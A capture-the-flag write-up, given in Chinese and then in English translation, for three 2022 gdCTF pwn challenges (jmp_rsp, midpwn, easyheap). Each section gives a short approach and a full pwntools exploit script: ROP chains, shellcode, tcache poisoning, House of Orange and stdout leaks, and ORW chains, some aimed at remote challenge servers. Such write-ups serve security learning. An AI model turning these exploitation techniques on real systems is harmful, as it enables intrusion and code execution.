jmp_rsp
题目
https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/jmp_rsp.zip
解题思路
直接一把梭,写入 ROP,在 bss 上写 shellcode 即可
EXP
from pwn import *import time
context.log_level='debug'
# io = process('./jmp_rsp')io = remote('47.106.122.102', 44071)
elf = ELF('./jmp_rsp')
context.clear(arch='x86_64')shell_code = asm(shellcraft.sh())
pop_rdi = 0x0000000000400696pop_rsi = 0x0000000000410173pop_rdx = 0x0000000000449395vuln_buf = 0x00000006B9144# gdb.attach(io)
p = 'a' * 0x88 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(vuln_buf) + p64(pop_rdx) + p64(0x50) + p64(elf.sym['read']) + p64(vuln_buf)io.sendline(p)time.sleep(2)io.sendline(shell_code)
io.interactive()midpwn
题目
https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/midpwn.zip
解题思路
逆向分析发现,开了沙箱,需要利用 orw 进行文件内容泄露

通过逆向分析发现 edit 函数存在 off by one 的漏洞

最后的思路就是,通过 off by one 修改下一个堆块的 size 位置,构造堆块堆叠,接下来主要控制 tacache bin 的 fd 指针构造任意位置分配读写。
能够实现任意位置读写之后,构造堆块进入 unsortedbin,泄露 main_arena 的地址,从而泄露 libc_base,通过偏移量算出 environ 的地址(libc 地址中存放着 environ 变量,中存放着栈地址),再次构造堆块,分配到 environ 上面,泄露栈地址,最后,malloc 执行的位置是在 add 函数,通过计算偏移修改 add 函数返回地址,写入 ROP。
有关 ROP 的构造,实验发现 mmap 只需要前 4 个参数为 addr、size、7、34 即可分配出一个可执行的目标地址。
故构造 ROP,分配一个 0x23330000 的地址作为写入 shellcode 的地址,最后调用read(0,0x23330000,0x50)写入 orw
def func(a, b, c, d): pp = p64(pop_rdi) + p64(a) pp += p64(pop_rsi) + p64(b) pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0) return ppp = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym['mmap'])p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym['read'])p += p64(0x23330000)有关 ORW 的构造
context(arch='amd64')sc = asm(shellcraft.open('./flag'))sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30))sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))完整 EXP
from pwn import *import time
context.log_level='debug'# getIO = lambda : process(['./ld-2.31.so', './orz'], env={'LD_PRELOAD': './libc-2.31.so'})getIO = lambda : remote('120.79.220.233', 45715)sc = ''io = getIO()
def add(size, content): io.sendlineafter('Your choose which one?\n', '1') io.sendlineafter('please input note size : ', str(size)) io.sendlineafter('please input your note.\n', content)def add2(size, content): io.sendlineafter('Your choose which one?\n', '1') io.sendlineafter('please input note size : ', str(size)) io.sendafter('please input your note.\n', content)
def edit(idx, content): io.sendlineafter('Your choose which one?\n', '2') io.sendlineafter('please input note index.\n', str(idx)) io.sendlineafter('please input new note.\n', content)
def show(idx): io.sendlineafter('Your choose which one?\n', '3') io.sendlineafter('please input note index.\n', str(idx))def delete(idx): io.sendlineafter('Your choose which one?\n', '4') io.sendlineafter('please input note index.\n', str(idx))
# gdb.attach(io)stack_offset = 0x120add(0x28, 'aaaa') # 0for i in range(10): add(0xb0, 'aaaaaa') # 1 ~ 10for i in range(10): delete(i)for i in range(7): add(0xb0, 'aaaaa')add2(0xb0, 'a')show(7)libc_base = u64(io.recv(8)) - (0x7f3a3e885d61 - 0x7f3a3e699000 )log.success('libc_base:'+hex(libc_base))
environ = 0x01EF600 + libc_baselog.success('environ:'+hex(environ))
add(0x28, 'aaaa') # 8add(0xb0, 'aaaa') # 9
add(0x28, 'aaaa') # 11 vulnadd(0x28, 'aaaa') # 12 editadd(0x28, 'aaaa') # 13add(0x28, 'aaaa') # 14add(0x28, 'aaaa') # 15add(0x28, 'aaaa') # 16
edit(11,'a' *0x28+'\xc1')delete(12)add(0xb0, 'aaaaa')add(0x28, 'aaaa') # 17delete(17)delete(13)
edit(12, 'a'*0x28+p64(0x31)+p64(environ-0x10))
add(0x28, 'aaaa') # 13add2(0x28, 'a'*0x10) # 17
show(17)io.recv(16)stack_base = u64(io.recv(8)) # - 0x1f438
log.success('stack_base:'+hex(stack_base))
pop_rdi = 0x0000000000023b72 + libc_basepop_rsi = libc_base + 0x000000000002604fpop_rdx_rcx_rbx = libc_base + 0x00000000001025addef func(a, b, c, d): pp = p64(pop_rdi) + p64(a) pp += p64(pop_rsi) + p64(b) pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0) return pp
libc = ELF('./libc-2.31.so')libc.address = libc_baseflag_path = '/home/pwn/flag\x00'
flag_path_addr = stack_base + 0x150add(0x28, 'aaaa') # 18add(0x28, 'aaaa') # 19delete(19)delete(18)delete(13)edit(12, 'a'*0x28+p64(0x31)+p64(flag_path_addr))add(0x28, 'aaaa') # 13add2(0x28, flag_path) # 18
edit(12, 'a'*0x28+p64(0xc1))add(0xb0, 'aaaaa') # 19delete(19)delete(13)
add_ret = stack_base - stack_offset
edit(12, 'a'*0x28+p64(0xc1) + p64(add_ret))add(0xb0, 'aaaa') # 13
p = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym['mmap'])p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym['read'])p += p64(0x23330000)log.success('len:' + hex(len(p)))
add(0xb0, p)context(arch='amd64')if sc == '': sc = asm(shellcraft.open('./flag')) sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30)) sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))
# gdb.attach(io)time.sleep(0.2)io.send(sc)
io.interactive()easyheap
题目
https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/easyheap.zip
解题思路
主要漏洞在,v3 局部变量可能未初始化,可以提前布置栈帧,达到任意位置写入堆地址

以及还有一个 backdoor 函数,可以堆上任意写 8 字节(虽然只有一次,但利用上边的漏洞可以无限次)
利用 house of orange,修改_IO_2_stdout_,泄露 libc_base,再次利用泄露 environ 地址,栈地址,heap 基址
之后利用修改 tcachebin 上的 fd 指针,参考 midpwn 的解法,修改 add 函数的返回地址,写入 orw ROP,获得 flag
Exp
from pwn import *import ctypesimport time
context(arch="amd64")context.log_level = 'debug'getIO = lambda:process(['./ld-2.31.so', './easyheap'], env={'LD_PRELOAD': './libc-2.31.so'})io = getIO()
def add(size, cont): io.sendlineafter('4.delete\n', '1') io.sendlineafter('Size?\n', str(size)) io.sendafter('Context:\n', cont)
def add2(size, offset, cont): pp = '1\x00' pp += '\x00' * (12 - len(pp)) pp += p32(ctypes.c_uint32(offset).value) io.sendafter('4.delete\n', pp) io.sendlineafter('Size?\n', str(size)) io.sendlineafter('Context:\n', cont)
def add3(size, offset, cont): pp = '1\x00' pp += '\x00' * (12 - len(pp)) pp += p32(ctypes.c_uint32(offset).value) io.sendafter('4.delete', pp) io.sendlineafter('Size?', str(size)) io.sendafter('Context:', cont)
def edit(idx, cont): io.sendlineafter('4.delete\n', '2') io.sendlineafter('Idx?\n', str(idx)) io.sendlineafter('Context:\n', cont)
def edit2(idx, cont): io.sendlineafter('4.delete', '2') io.sendlineafter('Idx?', str(idx)) io.sendafter('Context:', cont)
def backdoor(size, offset, cont): io.sendlineafter('4.delete\n', '666') io.sendlineafter('Size?\n', str(size)) io.sendlineafter('Offset?\n', str(offset)) io.sendafter('Context:\n', cont)
def backdoor2(size, offset, cont): io.sendlineafter('4.delete', '666') io.sendlineafter('Size?', str(size)) io.sendlineafter('Offset?', str(offset)) io.sendafter('Context:', cont)
while 1: fake_size = 0x061 + 0x1000*1 # add(,'aaaaa') backdoor(0x18, 0x6b8, p64(fake_size)) add(0x2000, 'aaaaa') add(0x20, 'a') add(0x20, 'aaa') add(0x20, 'aaa') add(0x20, 'aaa') add(0x20, 'aaa') add(0x20, 'aaa')
add2(0x10, -10, 'aaa')
backdoor(0x18, -3080, '\xb0') # backdoor(0x18, -32, '\xb0') backdoor(0x18, -3616+6, p32(0x7)) stdout_in = 0x16a0
backdoor(0x18, 800, '\xa0\x16')
# add2(0x18, 0, 'aa') flag = 0xfbad1800 # add2(0x18, ) add2(0x48, 1, 'aa') try: add2(0x48, 0, p64(flag)+p64(0)*3 + '\x08') inp = io.recv(8,timeout=0.2) if '1.add' in inp: assert 1 == 2 stdin_addr = u64(inp) log.success('stdin_addr:'+hex(stdin_addr)) break except: io.close() io = getIO()
libc_base = stdin_addr - 0x1ee7f0log.success('libc_base:'+hex(libc_base))
main_arena_96 = 0x1ecbe0 + libc_baseedit2(0, p64(flag)+p64(0)*3 + p64(main_arena_96))
heap_base = u64(io.recv(8)) -0x23010log.success('heap_base:'+hex(heap_base))
environ = 0x228138 + libc_base # 偏移量可能不同edit2(0, p64(flag)+p64(0)*3 + p64(environ) + p64(environ+0x10) + p64(environ+0x10))log.success('environ:'+hex(environ))
stack_environ = u64(io.recv(8))log.success('stack_environ:'+hex(stack_environ))
rax_0 = 0x00000000000b1d89 + libc_base # xor rax, rax ; retrax_1 = 0x00000000000cfb50 + libc_base # mov rax, 1 ; retrax_2 = 0x00000000000cfb60 + libc_base # mov rax, 2 ; retpop_rdi = 0x0000000000023b72 + libc_base # pop rdi ; retpop_rsi = 0x000000000002604f + libc_base # pop rsi ; retxchg_eax_edi = 0x00000000000f1b95 + libc_base # xchg eax, edi ; retsyscall = 0x00000630D9 + libc_base # syscall; ret in (funlockfile)
vuln_stack_tar = stack_environ - 0x138 + 0x20backdoor2(0x18, -512, p64(vuln_stack_tar))
add3(0xf0-8, 1, 'aaaaaa')# io.sendafter('4.delete', '1')# io.sendlineafter('Size?', )
rop_tmp = [ pop_rdi, 0xadd, pop_rsi, 0, rax_2, syscall, # open xchg_eax_edi, # eax -> edi fd pop_rsi, 0xadd, rax_0, syscall, # read pop_rdi, 1, rax_1, syscall # write]rop_tmp[1] = rop_tmp[8] = vuln_stack_tar + len(rop_tmp) * 8rop_tmp = flat(rop_tmp) + './flag\x00'
# gdb.attach(io)add3(0xf0-8, 1, rop_tmp)
io.interactive()其他
赛后的补题,比赛没时间了(菜),本地记得新建./flag 文件

Translate by Kimi-K3
jmp_rsp
Challenge
https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/jmp_rsp.zip
Approach
Just brute-force it: write the ROP chain, then write the shellcode onto the bss.
EXP
from pwn import *import time
context.log_level='debug'
# io = process('./jmp_rsp')io = remote('47.106.122.102', 44071)
elf = ELF('./jmp_rsp')
context.clear(arch='x86_64')shell_code = asm(shellcraft.sh())
pop_rdi = 0x0000000000400696pop_rsi = 0x0000000000410173pop_rdx = 0x0000000000449395vuln_buf = 0x00000006B9144# gdb.attach(io)
p = 'a' * 0x88 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(vuln_buf) + p64(pop_rdx) + p64(0x50) + p64(elf.sym['read']) + p64(vuln_buf)io.sendline(p)time.sleep(2)io.sendline(shell_code)
io.interactive()midpwn
Challenge
https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/midpwn.zip
Approach
Reverse analysis shows that a sandbox is enabled, so we need to use orw to leak the file contents.

Reverse analysis also reveals an off-by-one vulnerability in the edit function.

The final idea is to use the off-by-one to modify the size field of the next chunk, construct chunk overlap, and then mainly control the fd pointer of the tcache bin to achieve arbitrary allocation, read and write.
Once arbitrary read/write is achieved, we arrange a chunk into the unsorted bin to leak the address of main_arena, and thereby leak libc_base. From the offset we compute the address of environ (the environ variable stored in libc holds a stack address). We then construct another chunk allocated on top of environ to leak the stack address. Finally, since malloc is executed inside the add function, we compute the offset and overwrite the return address of the add function, writing the ROP chain.
Regarding the ROP construction, experiments show that mmap only needs its first 4 arguments to be addr, size, 7, and 34 to allocate an executable target address.
So we build a ROP chain that allocates address 0x23330000 as the destination for the shellcode, and finally call read(0,0x23330000,0x50) to write the orw payload.
def func(a, b, c, d): pp = p64(pop_rdi) + p64(a) pp += p64(pop_rsi) + p64(b) pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0) return ppp = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym['mmap'])p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym['read'])p += p64(0x23330000)Regarding the ORW construction:
context(arch='amd64')sc = asm(shellcraft.open('./flag'))sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30))sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))Full EXP
from pwn import *import time
context.log_level='debug'# getIO = lambda : process(['./ld-2.31.so', './orz'], env={'LD_PRELOAD': './libc-2.31.so'})getIO = lambda : remote('120.79.220.233', 45715)sc = ''io = getIO()
def add(size, content): io.sendlineafter('Your choose which one?\n', '1') io.sendlineafter('please input note size : ', str(size)) io.sendlineafter('please input your note.\n', content)def add2(size, content): io.sendlineafter('Your choose which one?\n', '1') io.sendlineafter('please input note size : ', str(size)) io.sendafter('please input your note.\n', content)
def edit(idx, content): io.sendlineafter('Your choose which one?\n', '2') io.sendlineafter('please input note index.\n', str(idx)) io.sendlineafter('please input new note.\n', content)
def show(idx): io.sendlineafter('Your choose which one?\n', '3') io.sendlineafter('please input note index.\n', str(idx))def delete(idx): io.sendlineafter('Your choose which one?\n', '4') io.sendlineafter('please input note index.\n', str(idx))
# gdb.attach(io)stack_offset = 0x120add(0x28, 'aaaa') # 0for i in range(10): add(0xb0, 'aaaaaa') # 1 ~ 10for i in range(10): delete(i)for i in range(7): add(0xb0, 'aaaaa')add2(0xb0, 'a')show(7)libc_base = u64(io.recv(8)) - (0x7f3a3e885d61 - 0x7f3a3e699000 )log.success('libc_base:'+hex(libc_base))
environ = 0x01EF600 + libc_baselog.success('environ:'+hex(environ))
add(0x28, 'aaaa') # 8add(0xb0, 'aaaa') # 9
add(0x28, 'aaaa') # 11 vulnadd(0x28, 'aaaa') # 12 editadd(0x28, 'aaaa') # 13add(0x28, 'aaaa') # 14add(0x28, 'aaaa') # 15add(0x28, 'aaaa') # 16
edit(11,'a' *0x28+'\xc1')delete(12)add(0xb0, 'aaaaa')add(0x28, 'aaaa') # 17delete(17)delete(13)
edit(12, 'a'*0x28+p64(0x31)+p64(environ-0x10))
add(0x28, 'aaaa') # 13add2(0x28, 'a'*0x10) # 17
show(17)io.recv(16)stack_base = u64(io.recv(8)) # - 0x1f438
log.success('stack_base:'+hex(stack_base))
pop_rdi = 0x0000000000023b72 + libc_basepop_rsi = libc_base + 0x000000000002604fpop_rdx_rcx_rbx = libc_base + 0x00000000001025addef func(a, b, c, d): pp = p64(pop_rdi) + p64(a) pp += p64(pop_rsi) + p64(b) pp += p64(pop_rdx_rcx_rbx) + p64(c) + p64(d) + p64(0) return pp
libc = ELF('./libc-2.31.so')libc.address = libc_baseflag_path = '/home/pwn/flag\x00'
flag_path_addr = stack_base + 0x150add(0x28, 'aaaa') # 18add(0x28, 'aaaa') # 19delete(19)delete(18)delete(13)edit(12, 'a'*0x28+p64(0x31)+p64(flag_path_addr))add(0x28, 'aaaa') # 13add2(0x28, flag_path) # 18
edit(12, 'a'*0x28+p64(0xc1))add(0xb0, 'aaaaa') # 19delete(19)delete(13)
add_ret = stack_base - stack_offset
edit(12, 'a'*0x28+p64(0xc1) + p64(add_ret))add(0xb0, 'aaaa') # 13
p = func(0x23330000, 0x1000, 7, 34) + p64(libc.sym['mmap'])p += func(0, 0x23330000, 0x50, 0) + p64(libc.sym['read'])p += p64(0x23330000)log.success('len:' + hex(len(p)))
add(0xb0, p)context(arch='amd64')if sc == '': sc = asm(shellcraft.open('./flag')) sc += asm(shellcraft.read(6, 0x23330000 + 0x300, 0x30)) sc += asm(shellcraft.write(1, 0x23330000 + 0x300, 0x30))
# gdb.attach(io)time.sleep(0.2)io.send(sc)
io.interactive()easyheap
Challenge
https://gitee.com/csomebro/ctftask/blob/master/2022-05_gdCTF/easyheap.zip
Approach
The main vulnerability is that the local variable v3 may be uninitialized. By arranging the stack frame in advance, we can write a heap address to an arbitrary location.

There is also a backdoor function that allows an arbitrary 8-byte write on the heap (it can only be used once, but combined with the vulnerability above it can effectively be used unlimited times).
Using House of Orange, we modify IO_2_stdout to leak libc_base, then leak the environ address, the stack address, and the heap base.
After that, by modifying the fd pointer in the tcache bin — following the same approach as midpwn — we overwrite the return address of the add function, write the orw ROP chain, and get the flag.
Exp
from pwn import *import ctypesimport time
context(arch="amd64")context.log_level = 'debug'getIO = lambda:process(['./ld-2.31.so', './easyheap'], env={'LD_PRELOAD': './libc-2.31.so'})io = getIO()
def add(size, cont): io.sendlineafter('4.delete\n', '1') io.sendlineafter('Size?\n', str(size)) io.sendafter('Context:\n', cont)
def add2(size, offset, cont): pp = '1\x00' pp += '\x00' * (12 - len(pp)) pp += p32(ctypes.c_uint32(offset).value) io.sendafter('4.delete\n', pp) io.sendlineafter('Size?\n', str(size)) io.sendlineafter('Context:\n', cont)
def add3(size, offset, cont): pp = '1\x00' pp += '\x00' * (12 - len(pp)) pp += p32(ctypes.c_uint32(offset).value) io.sendafter('4.delete', pp) io.sendlineafter('Size?', str(size)) io.sendafter('Context:', cont)
def edit(idx, cont): io.sendlineafter('4.delete\n', '2') io.sendlineafter('Idx?\n', str(idx)) io.sendlineafter('Context:\n', cont)
def edit2(idx, cont): io.sendlineafter('4.delete', '2') io.sendlineafter('Idx?', str(idx)) io.sendafter('Context:', cont)
def backdoor(size, offset, cont): io.sendlineafter('4.delete\n', '666') io.sendlineafter('Size?\n', str(size)) io.sendlineafter('Offset?\n', str(offset)) io.sendafter('Context:\n', cont)
def backdoor2(size, offset, cont): io.sendlineafter('4.delete', '666') io.sendlineafter('Size?', str(size)) io.sendlineafter('Offset?', str(offset)) io.sendafter('Context:', cont)
while 1: fake_size = 0x061 + 0x1000*1 # add(,'aaaaa') backdoor(0x18, 0x6b8, p64(fake_size)) add(0x2000, 'aaaaa') add(0x20, 'a') add(0x20, 'aaa') add(0x20, 'aaa') add(0x20, 'aaa') add(0x20, 'aaa') add(0x20, 'aaa')
add2(0x10, -10, 'aaa')
backdoor(0x18, -3080, '\xb0') # backdoor(0x18, -32, '\xb0') backdoor(0x18, -3616+6, p32(0x7)) stdout_in = 0x16a0
backdoor(0x18, 800, '\xa0\x16')
# add2(0x18, 0, 'aa') flag = 0xfbad1800 # add2(0x18, ) add2(0x48, 1, 'aa') try: add2(0x48, 0, p64(flag)+p64(0)*3 + '\x08') inp = io.recv(8,timeout=0.2) if '1.add' in inp: assert 1 == 2 stdin_addr = u64(inp) log.success('stdin_addr:'+hex(stdin_addr)) break except: io.close() io = getIO()
libc_base = stdin_addr - 0x1ee7f0log.success('libc_base:'+hex(libc_base))
main_arena_96 = 0x1ecbe0 + libc_baseedit2(0, p64(flag)+p64(0)*3 + p64(main_arena_96))
heap_base = u64(io.recv(8)) -0x23010log.success('heap_base:'+hex(heap_base))
environ = 0x228138 + libc_base # the offset may differedit2(0, p64(flag)+p64(0)*3 + p64(environ) + p64(environ+0x10) + p64(environ+0x10))log.success('environ:'+hex(environ))
stack_environ = u64(io.recv(8))log.success('stack_environ:'+hex(stack_environ))
rax_0 = 0x00000000000b1d89 + libc_base # xor rax, rax ; retrax_1 = 0x00000000000cfb50 + libc_base # mov rax, 1 ; retrax_2 = 0x00000000000cfb60 + libc_base # mov rax, 2 ; retpop_rdi = 0x0000000000023b72 + libc_base # pop rdi ; retpop_rsi = 0x000000000002604f + libc_base # pop rsi ; retxchg_eax_edi = 0x00000000000f1b95 + libc_base # xchg eax, edi ; retsyscall = 0x00000630D9 + libc_base # syscall; ret in (funlockfile)
vuln_stack_tar = stack_environ - 0x138 + 0x20backdoor2(0x18, -512, p64(vuln_stack_tar))
add3(0xf0-8, 1, 'aaaaaa')# io.sendafter('4.delete', '1')# io.sendlineafter('Size?', )
rop_tmp = [ pop_rdi, 0xadd, pop_rsi, 0, rax_2, syscall, # open xchg_eax_edi, # eax -> edi fd pop_rsi, 0xadd, rax_0, syscall, # read pop_rdi, 1, rax_1, syscall # write]rop_tmp[1] = rop_tmp[8] = vuln_stack_tar + len(rop_tmp) * 8rop_tmp = flat(rop_tmp) + './flag\x00'
# gdb.attach(io)add3(0xf0-8, 1, rop_tmp)
io.interactive()Misc
This is a post-competition re-attempt — I ran out of time during the event (I’m weak). Remember to create a ./flag file locally when testing.
